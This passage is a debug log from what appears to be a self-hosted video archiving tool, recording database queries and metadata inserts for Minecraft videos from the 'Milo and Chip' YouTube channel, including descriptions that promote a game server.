"5cc3e097-699e-4500-9aea-2c1a1927beb5", "ano3A1IT0wA", false, "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, [], 2125, false, 2, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, false, 98, ~U[2026-05-29 23:00:15Z], ~U[2026-06-02 23:39:56Z], ~U[2026-06-02 23:39:56Z], "Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "ano3A1IT0wA", "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, 2125, false, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, ~U[2026-05-29 23:00:15Z]] 19:39:56.148 [debug] QUERY OK source="sources" db=0.1ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:39:56.148 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:39:56.149 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140166] 19:39:56.149 [debug] Current batch of media processed. Will check again in 1000ms 19:39:57.150 [debug] Current batch of media processed. Will check again in 1000ms 19:39:58.151 [debug] Current batch of media processed. Will check again in 1000ms 19:39:59.152 [debug] Current batch of media processed. Will check again in 1000ms 19:40:00.154 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1860, "filename" => "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", "id" => "aUkz6mYnXT8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aUkz6mYnXT8", "playlist_index" => 3, "timestamp" => 1779922815, "title" => "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "upload_date" => "20260527"} 19:40:00.155 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=876.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:00.156 [debug] QUERY OK source="sources" db=0.5ms idle=877.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:00.159 [debug] QUERY OK source="media_items" db=2.0ms idle=878.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 23:00:15Z], 30] 19:40:00.160 [debug] QUERY OK source="media_items" db=0.9ms idle=881.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "a6d198b2-6162-418e-bccc-a6eece86705d", "aUkz6mYnXT8", false, "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, [], 1860, false, 3, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, false, 98, ~U[2026-05-27 23:00:15Z], ~U[2026-06-02 23:40:00Z], ~U[2026-06-02 23:40:00Z], "PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "aUkz6mYnXT8", "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, 1860, false, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, ~U[2026-05-27 23:00:15Z]] 19:40:00.161 [debug] QUERY OK source="sources" db=0.1ms idle=16.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:00.161 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:00.161 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139734] 19:40:00.161 [debug] Current batch of media processed. Will check again in 1000ms 19:40:00.978 [info] {"source":"oban","duration":107,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:01.162 [debug] Current batch of media processed. Will check again in 1000ms 19:40:02.163 [debug] Current batch of media processed. Will check again in 1000ms 19:40:03.165 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 2099, "filename" => "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", "id" => "Hhfw4cTRCOw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Hhfw4cTRCOw", "playlist_index" => 4, "timestamp" => 1779750011, "title" => "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "upload_date" => "20260525"} 19:40:03.166 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1887.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:03.168 [debug] QUERY OK source="sources" db=0.5ms idle=1888.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:03.170 [debug] QUERY OK source="media_items" db=1.8ms idle=1021.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 23:00:11Z], 30] 19:40:03.171 [debug] QUERY OK source="media_items" db=0.8ms idle=892.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "4efbeb5c-f4b1-4e22-b8a5-bb6177fb17cb", "Hhfw4cTRCOw", false, "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, [], 2099, false, 4, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, false, 98, ~U[2026-05-25 23:00:11Z], ~U[2026-06-02 23:40:03Z], ~U[2026-06-02 23:40:03Z], "Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "Hhfw4cTRCOw", "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, 2099, false, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, ~U[2026-05-25 23:00:11Z]] 19:40:03.172 [debug] QUERY OK source="sources" db=0.2ms idle=22.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:03.172 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:03.172 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139303] 19:40:03.172 [debug] Current batch of media processed. Will check again in 1000ms 19:40:04.173 [debug] Current batch of media processed. Will check again in 1000ms 19:40:05.174 [debug] Current batch of media processed. Will check again in 1000ms 19:40:06.176 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1631, "filename" => "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", "id" => "VRn3KpKOB-Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VRn3KpKOB-Q", "playlist_index" => 5, "timestamp" => 1779490832, "title" => "BIRTH to DEATH of YOU in Minecraft", "upload_date" => "20260522"} 19:40:06.177 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1898.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:06.178 [debug] QUERY OK source="sources" db=0.5ms idle=1899.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:06.181 [debug] QUERY OK source="media_items" db=2.3ms idle=1900.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 23:00:32Z], 30] 19:40:06.182 [debug] QUERY OK source="media_items" db=0.8ms idle=1029.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "0ed43411-d7b3-454e-b4e7-e6dd1f96fe45", "VRn3KpKOB-Q", false, "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, [], 1631, false, 5, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, false, 98, ~U[2026-05-22 23:00:32Z], ~U[2026-06-02 23:40:06Z], ~U[2026-06-02 23:40:06Z], "We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "VRn3KpKOB-Q", "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, 1631, false, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, ~U[2026-05-22 23:00:32Z]] 19:40:06.182 [debug] QUERY OK source="sources" db=0.2ms idle=28.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:06.182 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:06.183 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138657] 19:40:06.183 [debug] Current batch of media processed. Will check again in 1000ms 19:40:07.184 [debug] Current batch of media processed. Will check again in 1000ms 19:40:08.185 [debug] Current batch of media processed. Will check again in 1000ms 19:40:09.186 [debug] Current batch of media processed. Will check again in 1000ms 19:40:10.187 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the 